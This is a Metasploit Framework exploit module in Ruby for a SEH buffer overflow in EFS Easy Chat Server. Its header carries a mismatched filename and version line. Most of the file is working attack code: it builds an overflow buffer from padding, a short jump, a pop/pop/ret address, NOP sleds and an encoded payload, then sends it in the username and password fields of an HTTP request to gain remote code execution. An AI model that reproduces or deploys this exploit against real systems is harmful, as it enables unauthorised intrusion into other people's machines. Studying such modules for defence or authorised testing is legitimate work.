##
# $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EFS Easy Chat server Universal BOF-SEH (META)',
   'Description'    => %q{
    This module exploits a vulnerability in Easy chat server by passing
    an arbitary evil biuffer along with the username password.
    Sucessful attack could run arbitary code on victim machine
   },
   'Author'         => 'FB1H2S',
   'License'        => MSF_LICENSE,
   'Version'        => '',
   'References'     =>
    [
     [ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],
     
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 1200,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
     'Compat'   =>
     {
      'ConnectionType' => '+ws2ord',
     },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'jan 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(80),
   ], self.class)
 end

  def exploit
   connect
   sploit = Rex::Text.rand_text_alphanumeric(216)
          sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
   sploit << [target.ret].pack('V')      #ppr universal
   sploit << "\x90" * 20                # nop sled
   sploit << payload.encoded            #payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
   sploit << "\x90" * 20
   request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2'
   send = "GET /" + request + " HTTP/1.0"
   sock.put(send + "\r\n\r\n\r\n")
   disconnect
   handler
  end
 end